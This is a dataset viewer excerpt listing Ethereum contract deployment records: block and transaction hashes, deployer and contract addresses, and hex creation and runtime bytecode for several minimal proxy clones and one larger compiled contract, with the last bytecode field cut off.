Search is not available for this dataset
chain_id
uint64
1
1
block_number
uint64
19.5M
20M
block_hash
stringlengths
64
64
transaction_hash
stringlengths
64
64
deployer_address
stringlengths
40
40
factory_address
stringlengths
40
40
contract_address
stringlengths
40
40
creation_bytecode
stringlengths
0
98.3k
runtime_bytecode
stringlengths
0
49.2k
creation_sourcecode
stringlengths
0
976k
1
19,501,428
372dafe2ddcbf27f3945be78f10cf5e6d4edebde154fa2d27f582b3a1e411a8e
355285c4497d8541b7717a583d846b1118224acb7fad2d5605f93fd00ddee0b2
a4c542fc03ab644b35d0ef51bc3c58380f78b7c5
1f6924cb65e2b7701789273c3f606e737043f63e
55a9edd2b4220ac3772005f901f1b4630fc59068
3d602d80600a3d3981f3363d3d373d3d3d363d737e653da624dc9bebfb97dc6508b557e3426808e25af43d82803e903d91602b57fd5bf3
363d3d373d3d3d363d737e653da624dc9bebfb97dc6508b557e3426808e25af43d82803e903d91602b57fd5bf3
1
19,501,428
372dafe2ddcbf27f3945be78f10cf5e6d4edebde154fa2d27f582b3a1e411a8e
355285c4497d8541b7717a583d846b1118224acb7fad2d5605f93fd00ddee0b2
a4c542fc03ab644b35d0ef51bc3c58380f78b7c5
1f6924cb65e2b7701789273c3f606e737043f63e
b75a12283cb72272a35d726cc6210a5d9ce99989
3d602d80600a3d3981f3363d3d373d3d3d363d737e653da624dc9bebfb97dc6508b557e3426808e25af43d82803e903d91602b57fd5bf3
363d3d373d3d3d363d737e653da624dc9bebfb97dc6508b557e3426808e25af43d82803e903d91602b57fd5bf3
1
19,501,428
372dafe2ddcbf27f3945be78f10cf5e6d4edebde154fa2d27f582b3a1e411a8e
355285c4497d8541b7717a583d846b1118224acb7fad2d5605f93fd00ddee0b2
a4c542fc03ab644b35d0ef51bc3c58380f78b7c5
1f6924cb65e2b7701789273c3f606e737043f63e
6ebd6b071bce6ca30b9df118dbac25ad8f160318
3d602d80600a3d3981f3363d3d373d3d3d363d737e653da624dc9bebfb97dc6508b557e3426808e25af43d82803e903d91602b57fd5bf3
363d3d373d3d3d363d737e653da624dc9bebfb97dc6508b557e3426808e25af43d82803e903d91602b57fd5bf3
1
19,501,428
372dafe2ddcbf27f3945be78f10cf5e6d4edebde154fa2d27f582b3a1e411a8e
96e6fa8451db3c6d9e3da5675b0956c9fbdf64a4efe8eb3b8b45e2694991b822
74b92117151fa6e17eef6f5b7cd17f625eac465d
250e2071c82a0a4c28f5aed802e68310f70b5d96
4ba898221b48c5274b55f782ccd15503c108f490
6080604052662386f26fc10000600d55600a600e55605a600f553480156200002657600080fd5b5060405162001f1638038062001f16833981016040819052620000499162000342565b62000054336200018c565b602080820151600180546001600160a01b039283166001600160a01b031991821617909155835160028054918416918316919091179055604084015160048054919093169116179055606082015160035560808201518051620000bc926007920190620001dc565b5060a0810151600880546001600160401b0319166001600160401b0390921691909117905560015460408083015190516370a0823160e01b81526001600160a01b0391821660048201529116906370a082319060240160206040518083038186803b1580156200012b57600080fd5b505afa15801562000140573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200016691906200042e565b60055560c081015180516200018491600b91602090910190620001dc565b505062000488565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b82805482825590600052602060002090810192821562000234579160200282015b828111156200023457825182546001600160a01b0319166001600160a01b03909116178255602090920191600190910190620001fd565b506200024292915062000246565b5090565b5b8082111562000242576000815560010162000247565b80516001600160a01b03811681146200027557600080fd5b919050565b600082601f8301126200028b578081fd5b815160206001600160401b0380831115620002aa57620002aa62000472565b8260051b604051601f19603f83011681018181108482111715620002d257620002d262000472565b60405284815283810192508684018288018501891015620002f1578687fd5b8692505b858310156200031e5762000309816200025d565b845292840192600192909201918401620002f5565b50979650505050505050565b80516001600160401b03811681146200027557600080fd5b60006020828403121562000354578081fd5b81516001600160401b03808211156200036b578283fd5b9083019060e082860312156200037f578283fd5b6200038962000447565b62000394836200025d565b8152620003a4602084016200025d565b6020820152620003b7604084016200025d565b604082015260608301516060820152608083015182811115620003d8578485fd5b620003e6878286016200027a565b608083015250620003fa60a084016200032a565b60a082015260c08301518281111562000411578485fd5b6200041f878286016200027a565b60c08301525095945050505050565b60006020828403121562000440578081fd5b5051919050565b60405160e081016001600160401b03811182821017156200046c576200046c62000472565b60405290565b634e487b7160e01b600052604160045260246000fd5b611a7e80620004986000396000f3fe608060405234801561001057600080fd5b50600436106100f15760003560e01c80630f8202d6146100f657806316f0115b146101125780632ddc79b71461013257806344944f311461013b57806353b5ef2a1461016e5780635d8665c2146101815780635fd2c9f41461019457806365f5612a146101a9578063715018a6146101b25780638da5cb5b146101ba5780639a494e12146101c2578063a64c5f4e146101ed578063cb73e79214610200578063d0d893d414610213578063f1bfb13514610226578063f2fde38b14610239578063f6b119881461024c578063fc0c546a1461025f578063ff5f098914610272575b600080fd5b6100ff60055481565b6040519081526020015b60405180910390f35b600454610125906001600160a01b031681565b60405161010991906117bb565b6100ff60035481565b61015e610149366004611551565b60106020526000908152604090205460ff1681565b6040519015158152602001610109565b6100ff61017c366004611590565b61027f565b6100ff61018f366004611736565b6108db565b6101a76101a23660046116ac565b6109c0565b005b6100ff60065481565b6101a7610cce565b610125610ce2565b6008546101d5906001600160401b031681565b6040516001600160401b039091168152602001610109565b600254610125906001600160a01b031681565b61012561020e366004611706565b610cf1565b6100ff610221366004611706565b610d1b565b6101a76102343660046116ac565b610d3c565b6101a7610247366004611551565b611007565b61012561025a366004611706565b611080565b600154610125906001600160a01b031681565b600c5461015e9060ff1681565b600a546000906102aa5760405162461bcd60e51b81526004016102a190611874565b60405180910390fd5b6001600160a01b03861660009081526010602052604090205460ff16156102f95760405162461bcd60e51b815260206004820152600360248201526243434160e81b60448201526064016102a1565b61030286611090565b156103385760405162461bcd60e51b81526004016102a1906020808252600490820152634f4e454360e01b604082015260600190565b82518451146103715760405162461bcd60e51b81526020600482015260056024820152644f53444e4560d81b60448201526064016102a1565b6000604051806060016040528060008152602001600081526020016000815250905061039b6113ab565b6000888888886040516020016103b494939291906117f3565b60405160208183030381529060405280519060200120905060005b85518110156105015760008682815181106103fa57634e487b7160e01b600052603260045260246000fd5b60209081029190910181015160408051637b95236d60e11b8152825160ff166004820152928201516024840152015160448201526064810184905273fa34742085f577432caa712ae0a29bda56720a5a9063f72a46da9060840160206040518083038186803b15801561046c57600080fd5b505af4158015610480573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104a49190611574565b90508a6001600160a01b0316816001600160a01b031614156104d65760018460005b91151560209092020152506104ef565b6104df81611090565b156104ed57600184816104c6565b505b806104f9816119a2565b9150506103cf565b5081518015610511575060208201515b6105455760405162461bcd60e51b8152602060048201526005602482015264534d444e4560d81b60448201526064016102a1565b60005b86518110156108155760005b60408160ff1610156106fd57600060018260ff168b858151811061058857634e487b7160e01b600052603260045260246000fd5b60200260200101516001600160401b0316901c16905060016001600160401b0316816001600160401b0316146105be57506106eb565b6003548984815181106105e157634e487b7160e01b600052603260045260246000fd5b60200260200101511461060b576001866000018181516106019190611940565b9052506106eb9050565b8a86600001518151811061062f57634e487b7160e01b600052603260045260246000fd5b6020026020010151866040018181516106489190611940565b9052506008546001600160401b031660ff83161c6001818116918316166106875760018760000181815161067c9190611940565b9052506106eb915050565b6106bf8360ff168d8960000151815181106106b257634e487b7160e01b600052603260045260246000fd5b6020026020010151611102565b876020018181516106d09190611940565b905250865160019088906106e5908390611940565b90525050505b806106f5816119bd565b915050610554565b5060015487516001600160a01b0390911690634ee2cd7e908c908a908590811061073757634e487b7160e01b600052603260045260246000fd5b60200260200101516040518363ffffffff1660e01b81526004016107709291906001600160a01b03929092168252602082015260400190565b60206040518083038186803b15801561078857600080fd5b505afa15801561079c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107c0919061171e565b846040015111156107fc5760405162461bcd60e51b81526004016102a1906020808252600490820152635456424560e01b604082015260600190565b600060408501528061080d816119a2565b915050610548565b506001546004805460208601516040516323b872dd60e01b81526001600160a01b03948516946323b872dd9461085394909116928f929091016117cf565b602060405180830381600087803b15801561086d57600080fd5b505af1158015610881573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108a591906116e6565b5050506001600160a01b0387166000908152601060209081526040909120805460ff191660011790550151905095945050505050565b600a546000906108fd5760405162461bcd60e51b81526004016102a190611874565b60008060005b60408160ff1610156109b65760016001600160401b03871660ff83161c811690811461092f57506109a4565b6008546001600160401b031660ff83161c6001818116918316166109615783610957816119a2565b94505050506109a4565b6109888360ff168886815181106106b257634e487b7160e01b600052603260045260246000fd5b6109929086611940565b94508361099e816119a2565b94505050505b806109ae816119bd565b915050610903565b5090949350505050565b600a54156109fe5760405162461bcd60e51b815260206004820152600b60248201526a53657420616c726561647960a81b60448201526064016102a1565b6002546001600160a01b03163314610a285760405162461bcd60e51b81526004016102a19061189b565b8051610a3b90600a9060208401906113c9565b506000805b8251811015610a9057828181518110610a6957634e487b7160e01b600052603260045260246000fd5b602002602001015182610a7c9190611940565b915080610a88816119a2565b915050610a40565b50600981905560005b60408160ff161015610cc9576008546001600160401b031660ff82161c6001908116908114610ac85750610cb7565b600154600454600b80546001600160a01b03938416936323b872dd9316919060ff8716908110610b0857634e487b7160e01b600052603260045260246000fd5b600091825260209091200154600f546001600160a01b0390911690606490610b3260ff89166111a8565b610b3c919061196c565b610b469190611958565b6040518463ffffffff1660e01b8152600401610b64939291906117cf565b602060405180830381600087803b158015610b7e57600080fd5b505af1158015610b92573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bb691906116e6565b506001546004546001600160a01b03918216916323b872dd9116600b610bde60ff87166111ba565b81548110610bfc57634e487b7160e01b600052603260045260246000fd5b600091825260209091200154600f546001600160a01b0390911690606490610c24908261198b565b610c308860ff166111a8565b610c3a919061196c565b610c449190611958565b6040518463ffffffff1660e01b8152600401610c62939291906117cf565b602060405180830381600087803b158015610c7c57600080fd5b505af1158015610c90573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cb491906116e6565b50505b80610cc1816119bd565b915050610a99565b505050565b610cd66111ec565b610ce0600061124b565b565b6000546001600160a01b031690565b600b8181548110610d0157600080fd5b6000918252602090912001546001600160a01b0316905081565b600a8181548110610d2b57600080fd5b600091825260209091200154905081565b6002546001600160a01b03163314610d665760405162461bcd60e51b81526004016102a19061189b565b600c5460ff1615610da25760405162461bcd60e51b815260206004820152600660248201526510d05313115160d21b60448201526064016102a1565b600a54610ddd5760405162461bcd60e51b81526020600482015260096024820152681593d511555394d15560ba1b60448201526064016102a1565b8051600b5414610e185760405162461bcd60e51b81526020600482015260066024820152654c454e444e4d60d01b60448201526064016102a1565b6000805b60408160ff161015610e95576008546001600160401b031660ff82161c6001908116908114610e4b5750610e83565b610e758260ff16858460ff16815181106106b257634e487b7160e01b600052603260045260246000fd5b610e7f9084611940565b9250505b80610e8d816119bd565b915050610e1c565b506006819055600154600480546040516370a0823160e01b815284936001600160a01b03908116936370a0823193610ed093921691016117bb565b60206040518083038186803b158015610ee857600080fd5b505afa158015610efc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f20919061171e565b1015610f575760405162461bcd60e51b8152602060048201526006602482015265414d5442494760d01b60448201526064016102a1565b6001546004546002546005546001600160a01b03938416936323b872dd938116921690610f8590869061198b565b6040518463ffffffff1660e01b8152600401610fa3939291906117cf565b602060405180830381600087803b158015610fbd57600080fd5b505af1158015610fd1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ff591906116e6565b5050600c805460ff1916600117905550565b61100f6111ec565b6001600160a01b0381166110745760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016102a1565b61107d8161124b565b50565b60078181548110610d0157600080fd5b6000805b6007548110156110f957600781815481106110bf57634e487b7160e01b600052603260045260246000fd5b6000918252602090912001546001600160a01b03848116911614156110e75750600192915050565b806110f1816119a2565b915050611094565b50600092915050565b60008061110e8461129b565b90506000600a858154811061113357634e487b7160e01b600052603260045260246000fd5b906000526020600020015484600d54606461114e919061196c565b611158919061196c565b6111629190611958565b90506000600d5460648385600001518660200151611180919061198b565b61118a919061196c565b6111949190611958565b61119e9190611958565b9695505050505050565b60006111b38261129b565b5192915050565b60006111c76002836119dd565b6111dc576111d6826001611940565b92915050565b6111d660018361198b565b919050565b336111f5610ce2565b6001600160a01b031614610ce05760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016102a1565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b60408051808201909152600080825260208201526000600954600a6112bf856111ba565b815481106112dd57634e487b7160e01b600052603260045260246000fd5b9060005260206000200154600a858154811061130957634e487b7160e01b600052603260045260246000fd5b906000526020600020015461131e9190611940565b600d5461132c90606461196c565b611336919061196c565b6113409190611958565b9050600d54606482600554611355919061196c565b61135f9190611958565b6113699190611958565b60208301819052600d54600e549091606491611385908461196c565b61138f919061196c565b6113999190611958565b6113a39190611958565b825250919050565b60405180604001604052806002906020820280368337509192915050565b828054828255906000526020600020908101928215611404579160200282015b828111156114045782518255916020019190600101906113e9565b50611410929150611414565b5090565b5b808211156114105760008155600101611415565b600082601f830112611439578081fd5b8135602061144e6114498361191d565b6118ed565b8281528181019085830160608086028801850189101561146c578687fd5b865b868110156114c25781838b031215611484578788fd5b61148c6118c5565b833560ff8116811461149c57898afd5b81528387013587820152604080850135908201528552938501939181019160010161146e565b509198975050505050505050565b600082601f8301126114e0578081fd5b813560206114f06114498361191d565b80838252828201915082860187848660051b890101111561150f578586fd5b855b8581101561152d57813584529284019290840190600101611511565b5090979650505050505050565b80356001600160401b03811681146111e757600080fd5b600060208284031215611562578081fd5b813561156d81611a33565b9392505050565b600060208284031215611585578081fd5b815161156d81611a33565b600080600080600060a086880312156115a7578081fd5b85356115b281611a33565b94506020868101356001600160401b03808211156115ce578384fd5b6115da8a838b016114d0565b965060408901359150808211156115ef578384fd5b818901915089601f830112611602578384fd5b81356116106114498261191d565b8082825285820191508585018d878560051b880101111561162f578788fd5b8795505b83861015611658576116448161153a565b835260019590950194918601918601611633565b50975050506060890135925080831115611670578384fd5b61167c8a848b016114d0565b94506080890135925080831115611691578384fd5b505061169f88828901611429565b9150509295509295909350565b6000602082840312156116bd578081fd5b81356001600160401b038111156116d2578182fd5b6116de848285016114d0565b949350505050565b6000602082840312156116f7578081fd5b8151801515811461156d578182fd5b600060208284031215611717578081fd5b5035919050565b60006020828403121561172f578081fd5b5051919050565b60008060408385031215611748578182fd5b6117518361153a565b915060208301356001600160401b0381111561176b578182fd5b611777858286016114d0565b9150509250929050565b6000815180845260208085019450808401835b838110156117b057815187529582019590820190600101611794565b509495945050505050565b6001600160a01b0391909116815260200190565b6001600160a01b039384168152919092166020820152604081019190915260600190565b6001600160a01b03851681526080602080830182905260009161181890840187611781565b8381036040850152855180825282870191830190845b818110156118535783516001600160401b03168352928401929184019160010161182e565b505084810360608601526118678187611781565b9998505050505050505050565b6020808252600d908201526c1513d510531593d51154d4d155609a1b604082015260600190565b60208082526010908201526f139bdd131bd9da58d0dbdb9d1c9858dd60821b604082015260600190565b604051606081016001600160401b03811182821017156118e7576118e7611a1d565b60405290565b604051601f8201601f191681016001600160401b038111828210171561191557611915611a1d565b604052919050565b60006001600160401b0382111561193657611936611a1d565b5060051b60200190565b60008219821115611953576119536119f1565b500190565b60008261196757611967611a07565b500490565b6000816000190483118215151615611986576119866119f1565b500290565b60008282101561199d5761199d6119f1565b500390565b60006000198214156119b6576119b66119f1565b5060010190565b600060ff821660ff8114156119d4576119d46119f1565b60010192915050565b6000826119ec576119ec611a07565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461107d57600080fdfea2646970667358221220c6a5a418fd4d0efc335d0a7d4231b59612d76c43ca56c8a0e3c8ffb40c678cdc64736f6c634300080400330000000000000000000000000000000000000000000000000000000000000020000000000000000000000000f78469865d633453a0aa615c2e06b8924fc6f42b00000000000000000000000080008bcd713c38af90a9930288d446bc3bd2e6840000000000000000000000005acd324925dd39ebad0585a7afb2fb9818c134b5000000000000000000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000e0000000000000000000000000000000000000000000000000000000000056a9980000000000000000000000000000000000000000000000000000000000000120000000000000000000000000000000000000000000000000000000000000000100000000000000000000000034925864a818a1dc895b9268129a77b76e0e4e95000000000000000000000000000000000000000000000000000000000000001800000000000000000000000092fdb992d1bfee560751c0362dc473bd645a5bbc0000000000000000000000008892a66e4cc5e44a463279c0a288dbed9a3b97a1000000000000000000000000d6658faa5e5d30035cc2d29e0ed288ed72f1280e000000000000000000000000e071b63e7bd1b84420fd8140fcb8fc635d5012750000000000000000000000009ea8a03fca9c4ee7e8a20a58facd3fdac00277db000000000000000000000000c3bdf0a76c1bbe1e7a79cebf0dbc8ff37b0685250000000000000000000000008efd4e698198cd5755a525264a3eec6265211e73000000000000000000000000974c0dba7d64c599a1b32af8cc70b62aa73bff3f000000000000000000000000d82701dc8d7d7b0d9fd55b934d86dbc3a33a3060000000000000000000000000bdbf802981557ca4a7315b58a23311102660e5ad000000000000000000000000d172270869324764453b87cd3b4cecbfa35f77990000000000000000000000002be94d5aa49fd504d038bdf72dd39f471c61b85c00000000000000000000000069a6ac0df4c204c8595d7ab24840f2b5b769691100000000000000000000000057199874ed56eb0050b2c996640183ea8261880f00000000000000000000000058bdeeac3adbc966d8176a25a0a41bd10ab70db500000000000000000000000069349442a7e56064cb88a1982e224e8577290562000000000000000000000000053d56f751cae7cb7e4a259d07a28243c94e8ef7000000000000000000000000f859858712a43be726afcf72b1e528d54f1439b400000000000000000000000097dbe2b604b09ab5aa5bc110f9a140babd727e89000000000000000000000000c2d5c1b7c8063475a185915f1bd29c12d7e843d00000000000000000000000009d9cce9d22aebfb7cef860caf9808f594e3fdd1c000000000000000000000000f3e256363b09bd4c3bd9c69e91f3d45b65ca1c74000000000000000000000000d09a9195c7f4fcce61b652d16a972962d265364b000000000000000000000000bb8124a5c1879ab53235bac917c34b570025c212
608060405234801561001057600080fd5b50600436106100f15760003560e01c80630f8202d6146100f657806316f0115b146101125780632ddc79b71461013257806344944f311461013b57806353b5ef2a1461016e5780635d8665c2146101815780635fd2c9f41461019457806365f5612a146101a9578063715018a6146101b25780638da5cb5b146101ba5780639a494e12146101c2578063a64c5f4e146101ed578063cb73e79214610200578063d0d893d414610213578063f1bfb13514610226578063f2fde38b14610239578063f6b119881461024c578063fc0c546a1461025f578063ff5f098914610272575b600080fd5b6100ff60055481565b6040519081526020015b60405180910390f35b600454610125906001600160a01b031681565b60405161010991906117bb565b6100ff60035481565b61015e610149366004611551565b60106020526000908152604090205460ff1681565b6040519015158152602001610109565b6100ff61017c366004611590565b61027f565b6100ff61018f366004611736565b6108db565b6101a76101a23660046116ac565b6109c0565b005b6100ff60065481565b6101a7610cce565b610125610ce2565b6008546101d5906001600160401b031681565b6040516001600160401b039091168152602001610109565b600254610125906001600160a01b031681565b61012561020e366004611706565b610cf1565b6100ff610221366004611706565b610d1b565b6101a76102343660046116ac565b610d3c565b6101a7610247366004611551565b611007565b61012561025a366004611706565b611080565b600154610125906001600160a01b031681565b600c5461015e9060ff1681565b600a546000906102aa5760405162461bcd60e51b81526004016102a190611874565b60405180910390fd5b6001600160a01b03861660009081526010602052604090205460ff16156102f95760405162461bcd60e51b815260206004820152600360248201526243434160e81b60448201526064016102a1565b61030286611090565b156103385760405162461bcd60e51b81526004016102a1906020808252600490820152634f4e454360e01b604082015260600190565b82518451146103715760405162461bcd60e51b81526020600482015260056024820152644f53444e4560d81b60448201526064016102a1565b6000604051806060016040528060008152602001600081526020016000815250905061039b6113ab565b6000888888886040516020016103b494939291906117f3565b60405160208183030381529060405280519060200120905060005b85518110156105015760008682815181106103fa57634e487b7160e01b600052603260045260246000fd5b60209081029190910181015160408051637b95236d60e11b8152825160ff166004820152928201516024840152015160448201526064810184905273fa34742085f577432caa712ae0a29bda56720a5a9063f72a46da9060840160206040518083038186803b15801561046c57600080fd5b505af4158015610480573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104a49190611574565b90508a6001600160a01b0316816001600160a01b031614156104d65760018460005b91151560209092020152506104ef565b6104df81611090565b156104ed57600184816104c6565b505b806104f9816119a2565b9150506103cf565b5081518015610511575060208201515b6105455760405162461bcd60e51b8152602060048201526005602482015264534d444e4560d81b60448201526064016102a1565b60005b86518110156108155760005b60408160ff1610156106fd57600060018260ff168b858151811061058857634e487b7160e01b600052603260045260246000fd5b60200260200101516001600160401b0316901c16905060016001600160401b0316816001600160401b0316146105be57506106eb565b6003548984815181106105e157634e487b7160e01b600052603260045260246000fd5b60200260200101511461060b576001866000018181516106019190611940565b9052506106eb9050565b8a86600001518151811061062f57634e487b7160e01b600052603260045260246000fd5b6020026020010151866040018181516106489190611940565b9052506008546001600160401b031660ff83161c6001818116918316166106875760018760000181815161067c9190611940565b9052506106eb915050565b6106bf8360ff168d8960000151815181106106b257634e487b7160e01b600052603260045260246000fd5b6020026020010151611102565b876020018181516106d09190611940565b905250865160019088906106e5908390611940565b90525050505b806106f5816119bd565b915050610554565b5060015487516001600160a01b0390911690634ee2cd7e908c908a908590811061073757634e487b7160e01b600052603260045260246000fd5b60200260200101516040518363ffffffff1660e01b81526004016107709291906001600160a01b03929092168252602082015260400190565b60206040518083038186803b15801561078857600080fd5b505afa15801561079c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107c0919061171e565b846040015111156107fc5760405162461bcd60e51b81526004016102a1906020808252600490820152635456424560e01b604082015260600190565b600060408501528061080d816119a2565b915050610548565b506001546004805460208601516040516323b872dd60e01b81526001600160a01b03948516946323b872dd9461085394909116928f929091016117cf565b602060405180830381600087803b15801561086d57600080fd5b505af1158015610881573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108a591906116e6565b5050506001600160a01b0387166000908152601060209081526040909120805460ff191660011790550151905095945050505050565b600a546000906108fd5760405162461bcd60e51b81526004016102a190611874565b60008060005b60408160ff1610156109b65760016001600160401b03871660ff83161c811690811461092f57506109a4565b6008546001600160401b031660ff83161c6001818116918316166109615783610957816119a2565b94505050506109a4565b6109888360ff168886815181106106b257634e487b7160e01b600052603260045260246000fd5b6109929086611940565b94508361099e816119a2565b94505050505b806109ae816119bd565b915050610903565b5090949350505050565b600a54156109fe5760405162461bcd60e51b815260206004820152600b60248201526a53657420616c726561647960a81b60448201526064016102a1565b6002546001600160a01b03163314610a285760405162461bcd60e51b81526004016102a19061189b565b8051610a3b90600a9060208401906113c9565b506000805b8251811015610a9057828181518110610a6957634e487b7160e01b600052603260045260246000fd5b602002602001015182610a7c9190611940565b915080610a88816119a2565b915050610a40565b50600981905560005b60408160ff161015610cc9576008546001600160401b031660ff82161c6001908116908114610ac85750610cb7565b600154600454600b80546001600160a01b03938416936323b872dd9316919060ff8716908110610b0857634e487b7160e01b600052603260045260246000fd5b600091825260209091200154600f546001600160a01b0390911690606490610b3260ff89166111a8565b610b3c919061196c565b610b469190611958565b6040518463ffffffff1660e01b8152600401610b64939291906117cf565b602060405180830381600087803b158015610b7e57600080fd5b505af1158015610b92573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bb691906116e6565b506001546004546001600160a01b03918216916323b872dd9116600b610bde60ff87166111ba565b81548110610bfc57634e487b7160e01b600052603260045260246000fd5b600091825260209091200154600f546001600160a01b0390911690606490610c24908261198b565b610c308860ff166111a8565b610c3a919061196c565b610c449190611958565b6040518463ffffffff1660e01b8152600401610c62939291906117cf565b602060405180830381600087803b158015610c7c57600080fd5b505af1158015610c90573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cb491906116e6565b50505b80610cc1816119bd565b915050610a99565b505050565b610cd66111ec565b610ce0600061124b565b565b6000546001600160a01b031690565b600b8181548110610d0157600080fd5b6000918252602090912001546001600160a01b0316905081565b600a8181548110610d2b57600080fd5b600091825260209091200154905081565b6002546001600160a01b03163314610d665760405162461bcd60e51b81526004016102a19061189b565b600c5460ff1615610da25760405162461bcd60e51b815260206004820152600660248201526510d05313115160d21b60448201526064016102a1565b600a54610ddd5760405162461bcd60e51b81526020600482015260096024820152681593d511555394d15560ba1b60448201526064016102a1565b8051600b5414610e185760405162461bcd60e51b81526020600482015260066024820152654c454e444e4d60d01b60448201526064016102a1565b6000805b60408160ff161015610e95576008546001600160401b031660ff82161c6001908116908114610e4b5750610e83565b610e758260ff16858460ff16815181106106b257634e487b7160e01b600052603260045260246000fd5b610e7f9084611940565b9250505b80610e8d816119bd565b915050610e1c565b506006819055600154600480546040516370a0823160e01b815284936001600160a01b03908116936370a0823193610ed093921691016117bb565b60206040518083038186803b158015610ee857600080fd5b505afa158015610efc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f20919061171e565b1015610f575760405162461bcd60e51b8152602060048201526006602482015265414d5442494760d01b60448201526064016102a1565b6001546004546002546005546001600160a01b03938416936323b872dd938116921690610f8590869061198b565b6040518463ffffffff1660e01b8152600401610fa3939291906117cf565b602060405180830381600087803b158015610fbd57600080fd5b505af1158015610fd1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ff591906116e6565b5050600c805460ff1916600117905550565b61100f6111ec565b6001600160a01b0381166110745760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016102a1565b61107d8161124b565b50565b60078181548110610d0157600080fd5b6000805b6007548110156110f957600781815481106110bf57634e487b7160e01b600052603260045260246000fd5b6000918252602090912001546001600160a01b03848116911614156110e75750600192915050565b806110f1816119a2565b915050611094565b50600092915050565b60008061110e8461129b565b90506000600a858154811061113357634e487b7160e01b600052603260045260246000fd5b906000526020600020015484600d54606461114e919061196c565b611158919061196c565b6111629190611958565b90506000600d5460648385600001518660200151611180919061198b565b61118a919061196c565b6111949190611958565b61119e9190611958565b9695505050505050565b60006111b38261129b565b5192915050565b60006111c76002836119dd565b6111dc576111d6826001611940565b92915050565b6111d660018361198b565b919050565b336111f5610ce2565b6001600160a01b031614610ce05760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016102a1565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b60408051808201909152600080825260208201526000600954600a6112bf856111ba565b815481106112dd57634e487b7160e01b600052603260045260246000fd5b9060005260206000200154600a858154811061130957634e487b7160e01b600052603260045260246000fd5b906000526020600020015461131e9190611940565b600d5461132c90606461196c565b611336919061196c565b6113409190611958565b9050600d54606482600554611355919061196c565b61135f9190611958565b6113699190611958565b60208301819052600d54600e549091606491611385908461196c565b61138f919061196c565b6113999190611958565b6113a39190611958565b825250919050565b60405180604001604052806002906020820280368337509192915050565b828054828255906000526020600020908101928215611404579160200282015b828111156114045782518255916020019190600101906113e9565b50611410929150611414565b5090565b5b808211156114105760008155600101611415565b600082601f830112611439578081fd5b8135602061144e6114498361191d565b6118ed565b8281528181019085830160608086028801850189101561146c578687fd5b865b868110156114c25781838b031215611484578788fd5b61148c6118c5565b833560ff8116811461149c57898afd5b81528387013587820152604080850135908201528552938501939181019160010161146e565b509198975050505050505050565b600082601f8301126114e0578081fd5b813560206114f06114498361191d565b80838252828201915082860187848660051b890101111561150f578586fd5b855b8581101561152d57813584529284019290840190600101611511565b5090979650505050505050565b80356001600160401b03811681146111e757600080fd5b600060208284031215611562578081fd5b813561156d81611a33565b9392505050565b600060208284031215611585578081fd5b815161156d81611a33565b600080600080600060a086880312156115a7578081fd5b85356115b281611a33565b94506020868101356001600160401b03808211156115ce578384fd5b6115da8a838b016114d0565b965060408901359150808211156115ef578384fd5b818901915089601f830112611602578384fd5b81356116106114498261191d565b8082825285820191508585018d878560051b880101111561162f578788fd5b8795505b83861015611658576116448161153a565b835260019590950194918601918601611633565b50975050506060890135925080831115611670578384fd5b61167c8a848b016114d0565b94506080890135925080831115611691578384fd5b505061169f88828901611429565b9150509295509295909350565b6000602082840312156116bd578081fd5b81356001600160401b038111156116d2578182fd5b6116de848285016114d0565b949350505050565b6000602082840312156116f7578081fd5b8151801515811461156d578182fd5b600060208284031215611717578081fd5b5035919050565b60006020828403121561172f578081fd5b5051919050565b60008060408385031215611748578182fd5b6117518361153a565b915060208301356001600160401b0381111561176b578182fd5b611777858286016114d0565b9150509250929050565b6000815180845260208085019450808401835b838110156117b057815187529582019590820190600101611794565b509495945050505050565b6001600160a01b0391909116815260200190565b6001600160a01b039384168152919092166020820152604081019190915260600190565b6001600160a01b03851681526080602080830182905260009161181890840187611781565b8381036040850152855180825282870191830190845b818110156118535783516001600160401b03168352928401929184019160010161182e565b505084810360608601526118678187611781565b9998505050505050505050565b6020808252600d908201526c1513d510531593d51154d4d155609a1b604082015260600190565b60208082526010908201526f139bdd131bd9da58d0dbdb9d1c9858dd60821b604082015260600190565b604051606081016001600160401b03811182821017156118e7576118e7611a1d565b60405290565b604051601f8201601f191681016001600160401b038111828210171561191557611915611a1d565b604052919050565b60006001600160401b0382111561193657611936611a1d565b5060051b60200190565b60008219821115611953576119536119f1565b500190565b60008261196757611967611a07565b500490565b6000816000190483118215151615611986576119866119f1565b500290565b60008282101561199d5761199d6119f1565b500390565b60006000198214156119b6576119b66119f1565b5060010190565b600060ff821660ff8114156119d4576119d46